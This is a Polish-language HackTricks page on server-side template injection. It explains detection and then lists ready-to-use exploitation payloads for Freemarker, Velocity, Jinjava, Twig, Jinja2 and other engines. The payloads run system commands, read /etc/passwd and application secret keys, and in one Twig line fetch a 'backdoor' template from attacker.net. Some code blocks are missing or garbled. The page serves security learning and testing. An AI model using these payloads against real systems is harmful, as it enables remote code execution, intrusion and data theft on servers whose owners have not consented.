Dziel się trikami hackingowymi, przesyłając PR-y doHackTricks i HackTricks Cloud repozytoriów na githubie.
RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie.
Server-side template injection to luka, która występuje, gdy atakujący może wstrzyknąć złośliwy kod do szablonu, który jest wykonywany na serwerze. Ta luka może występować w różnych technologiach, w tym Jinja.
Jinja to popularny silnik szablonów używany w aplikacjach internetowych. Rozważmy przykład, który demonstruje podatny fragment kodu używający Jinja:
W tym podatnym kodzie parametr name z żądania użytkownika jest bezpośrednio przekazywany do szablonu za pomocą funkcji render. Może to potencjalnie umożliwić atakującemu wstrzyknięcie złośliwego kodu do parametru name, co prowadzi do wstrzyknięcia szablonu po stronie serwera.
Na przykład, atakujący mógłby przygotować żądanie z ładunkiem takim jak ten:
Payload {{bad-stuff-here}} jest wstrzykiwany do parametru name. Ten payload może zawierać dyrektywy szablonów Jinja, które umożliwiają atakującemu wykonanie nieautoryzowanego kodu lub manipulację silnikiem szablonów, co potencjalnie może prowadzić do przejęcia kontroli nad serwerem.
Aby zapobiec podatnościom na wstrzykiwanie szablonów po stronie serwera, deweloperzy powinni upewnić się, że dane wejściowe od użytkowników są odpowiednio oczyszczane i walidowane przed wstawieniem ich do szablonów. Wdrożenie walidacji danych wejściowych i użycie technik ucieczki uwzględniających kontekst mogą pomóc w złagodzeniu ryzyka tej podatności.
Wykrywanie
Aby wykryć wstrzykiwanie szablonów po stronie serwera (SSTI), początkowo fuzzing szablonu jest prostym podejściem. Polega to na wstrzykiwaniu sekwencji znaków specjalnych (${{<%[%'"}}%\) do szablonu i analizowaniu różnic w odpowiedzi serwera na dane regularne w porównaniu do tego specjalnego payloadu. Wskaźniki podatności obejmują:
Wyrzucane błędy, ujawniające podatność i potencjalnie silnik szablonów.
Brak payloadu w odbiciu lub brakujące jego części, co sugeruje, że serwer przetwarza go inaczej niż dane regularne.
Kontekst tekstowy: Rozróżnienie od XSS poprzez sprawdzenie, czy serwer ocenia wyrażenia szablonów (np. {{7*7}}, ${7*7}).
Kontekst kodu: Potwierdzenie podatności poprzez zmianę parametrów wejściowych. Na przykład, zmieniając greeting w http://vulnerable-website.com/?greeting=data.username, aby sprawdzić, czy wyjście serwera jest dynamiczne czy stałe, jak w greeting=data.username}}hello, zwracając nazwę użytkownika.
Faza identyfikacji
Identyfikacja silnika szablonów polega na analizie komunikatów o błędach lub ręcznym testowaniu różnych payloadów specyficznych dla języka. Typowe payloady powodujące błędy to ${7/0}, {{7/0}} i <%= 7/0 %>. Obserwacja odpowiedzi serwera na operacje matematyczne pomaga określić konkretny silnik szablonów.
interaktywna tabela zawierająca najskuteczniejsze poligloty wstrzyknięć szablonów wraz z oczekiwanymi odpowiedziami 44 najważniejszych silników szablonów.
Eksploity
Ogólne
W tej liście słów możesz znaleźć zmienne zdefiniowane w środowiskach niektórych z wymienionych poniżej silników:
${7*7}${{7*7}}${class.getClassLoader()}${class.getResource("").getPath()}${class.getResource("../../../../../index.htm").getContent()}// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
<#assign ex ="freemarker.template.utility.Execute"?new()>${ ex("id")}[#assign ex ='freemarker.template.utility.Execute'?new()]${ ex('id')}${"freemarker.template.utility.Execute"?new()("id")}${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Ominięcie piaskownicy
⚠️ działa tylko w wersjach Freemarker poniżej 2.3.30
// I think this doesn't work#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end// This should work?#set($s="")#set($stringClass=$s.getClass())#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())#set($process=$runtime.exec("cat%20/flag563378e453.txt"))#set($out=$process.getInputStream())#set($null=$process.waitFor() )#foreach($i+in+[1..$out.available()])$out.read()#end
W Thymeleaf, powszechnym testem na podatności SSTI jest wyrażenie ${7*7}, które również ma zastosowanie w tej silniku szablonów. Dla potencjalnego zdalnego wykonania kodu można użyć takich wyrażeń jak:
Thymeleaf wymaga, aby te wyrażenia były umieszczane w określonych atrybutach. Jednak wstawianie wyrażeń jest wspierane dla innych lokalizacji szablonów, używając składni takiej jak [[...]] lub [(...)]. Tak więc, prosty ładunek testowy SSTI może wyglądać jak [[${7*7}]].
Jednak prawdopodobieństwo, że ten ładunek zadziała, jest ogólnie niskie. Domyślna konfiguracja Thymeleaf nie wspiera dynamicznego generowania szablonów; szablony muszą być zdefiniowane z góry. Programiści musieliby zaimplementować własny TemplateResolver, aby tworzyć szablony z ciągów w locie, co jest rzadkie.
Thymeleaf oferuje również wstępne przetwarzanie wyrażeń, gdzie wyrażenia w podwójnych podkreśleniach (__...__) są wstępnie przetwarzane. Ta funkcja może być wykorzystana w konstrukcji wyrażeń, jak pokazano w dokumentacji Thymeleaf:
#{selection.__${sel.code}__}
Przykład podatności w Thymeleaf
Rozważ następujący fragment kodu, który może być podatny na wykorzystanie:
To wskazuje, że jeśli silnik szablonów przetwarza te dane wejściowe niewłaściwie, może to prowadzić do zdalnego wykonania kodu uzyskującego dostęp do adresów URL takich jak:
{{request.isDebug()}}//output: False//Using string 'a' to get an instance of class sun.misc.Launcher{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}//output: sun.misc.Launcher@715537d4//It is also possible to get a new object of the Jinjava class{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}//output: com.hubspot.jinjava.JinjavaConfig@78a56797//It was also possible to call methods on the created object by combining the{%%} and {{ }} blocks{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx//RCE{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e//RCE with org.apache.commons.io.IOUtils.{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution//Multiple arguments to the commandsPayload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Expression Language (EL) jest podstawową funkcją, która ułatwia interakcję między warstwą prezentacji (taką jak strony internetowe) a logiką aplikacji (taką jak zarządzane beany) w JavaEE. Jest szeroko stosowana w wielu technologiach JavaEE, aby uprościć tę komunikację. Kluczowe technologie JavaEE wykorzystujące EL to:
JavaServer Faces (JSF): Wykorzystuje EL do powiązania komponentów w stronach JSF z odpowiadającymi danymi i akcjami w backendzie.
JavaServer Pages (JSP): EL jest używane w JSP do uzyskiwania dostępu i manipulowania danymi w stronach JSP, co ułatwia łączenie elementów strony z danymi aplikacji.
Contexts and Dependency Injection for Java EE (CDI): EL integruje się z CDI, aby umożliwić płynne interakcje między warstwą webową a zarządzanymi beanami, zapewniając bardziej spójną strukturę aplikacji.
Sprawdź następującą stronę, aby dowiedzieć się więcej o eksploatacji interpreterów EL:
RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie.
#Get Info{{_self}}#(Ref. to current application){{_self.env}}{{dump(app)}}{{app.request.server.all|join(',')}}#File read"{{'/etc/passwd'|file_excerpt(1,30)}}"@#Exec code{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}{{['id']|filter('system')}}{{['cat\x20/etc/passwd']|filter('system')}}{{['cat$IFS/etc/passwd']|filter('system')}}{{['id',""]|sort('system')}}#Hide warnings and errors for automatic exploitation{{["error_reporting","0"]|sort("ini_set")}}
Plates to silnik szablonów natywny dla PHP, czerpiący inspirację z Twig. Jednak w przeciwieństwie do Twig, który wprowadza nową składnię, Plates wykorzystuje natywny kod PHP w szablonach, co czyni go intuicyjnym dla programistów PHP.
Controller:
// Create new Plates instance$templates =newLeague\Plates\Engine('/path/to/templates');// Render a templateecho $templates->render('profile', ['name'=>'Jonathan']);
<html><head><title>{PAGE_TITLE}</title></head><body><table><caption>Authors</caption><thead><tr><th>Name</th><th>Email</th></tr></thead><tfoot><tr><tdcolspan="2">{NUM_AUTHORS}</td></tr></tfoot><tbody><!-- BEGIN authorline --><tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr><!-- END authorline --></tbody></table></body></html>
authors.php
<?php//we want to display this author list$authors =array('Christian Weiske'=>'cweiske@php.net','Bjoern Schotte'=>'schotte@mayflower.de');require_once'HTML/Template/PHPLIB.php';//create template object$t =&newHTML_Template_PHPLIB(dirname(__FILE__),'keep');//load file$t->setFile('authors','authors.tpl');//set block$t->setBlock('authors','authorline','authorline_ref');//set some variables$t->setVar('NUM_AUTHORS',count($authors));$t->setVar('PAGE_TITLE','Code authors as of '.date('Y-m-d'));//display the authorsforeach ($authors as $name => $email) {$t->setVar('AUTHOR_NAME', $name);$t->setVar('AUTHOR_EMAIL', $email);$t->parse('authorline_ref','authorline',true);}//finish and echoecho $t->finish($t->parse('OUT','authors'));?>
patTemplate to niekompilujący silnik szablonów PHP, który używa znaczników XML do podziału dokumentu na różne części
<patTemplate:tmplname="page">This is the main page.<patTemplate:tmplname="foo">It contains another template.</patTemplate:tmpl><patTemplate:tmplname="hello">Hello {NAME}.<br/></patTemplate:tmpl></patTemplate:tmpl>
Jinja2 to w pełni funkcjonalny silnik szablonów dla Pythona. Posiada pełne wsparcie dla unicode, opcjonalne zintegrowane środowisko wykonawcze w piaskownicy, szeroko stosowane i licencjonowane na podstawie BSD.
{{7*7}} = Błąd
${7*7} = ${7*7}
{{foobar}} Nic
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% debug %}{{settings.SECRET_KEY}}{{4*4}}[[5*5]]{{7*'7'}} would result in7777777
Jinja2 - Format szablonu
{% extends "layout.html"%}{% block body %}<ul>{%for user in users %}<li><a href="{{ user.url }}">{{ user.username }}</a></li>{% endfor %}</ul>{% endblock %}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read()}}# Or in the shotest versions:{{ cycler.__init__.__globals__.os.popen('id').read()}}{{ joiner.__init__.__globals__.os.popen('id').read()}}{{ namespace.__init__.__globals__.os.popen('id').read()}}
Metoda .NET System.Diagnostics.Process.Start może być używana do uruchamiania dowolnego procesu na serwerze, a tym samym do tworzenia webshella. Możesz znaleźć przykład podatnej aplikacji webowej w https://github.com/cnotin/RazorVulnerableApp
Nawet jeśli to Perl, używa tagów podobnych do ERB w Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Błąd
<%= perl code %>
<% perl code %>
SSTI w GO
W silniku szablonów Go, potwierdzenie jego użycia można uzyskać za pomocą konkretnych ładunków:
{{ . }}: Odkrywa strukturę danych wejściowych. Na przykład, jeśli przekazany zostanie obiekt z atrybutem Password, {{ .Password }} może go ujawnić.
{{printf "%s" "ssti" }}: Oczekiwane jest wyświetlenie ciągu "ssti".
{{html "ssti"}}, {{js "ssti"}}: Te ładunki powinny zwrócić "ssti" bez dodawania "html" lub "js". Dalsze dyrektywy można zbadać w dokumentacji Go tutaj.
Wykorzystanie XSS
Z pakietem text/template, XSS może być proste poprzez bezpośrednie wstawienie ładunku. W przeciwieństwie do tego, pakiet html/template koduje odpowiedź, aby temu zapobiec (np. {{"<script>alert(1)</script>"}} skutkuje <script>alert(1)</script>). Niemniej jednak, definicja i wywołanie szablonu w Go mogą obejść to kodowanie: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
Wykorzystanie RCE
Wykorzystanie RCE znacznie różni się między html/template a text/template. Moduł text/template pozwala na bezpośrednie wywoływanie dowolnej publicznej funkcji (używając wartości “call”), co nie jest dozwolone w html/template. Dokumentacja dla tych modułów jest dostępna tutaj dla html/template i tutaj dla text/template.
Dla RCE przez SSTI w Go, można wywoływać metody obiektów. Na przykład, jeśli dostarczony obiekt ma metodę System wykonującą polecenia, można to wykorzystać jak {{ .System "ls" }}. Zazwyczaj dostęp do kodu źródłowego jest konieczny, aby to wykorzystać, jak w podanym przykładzie:
RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie.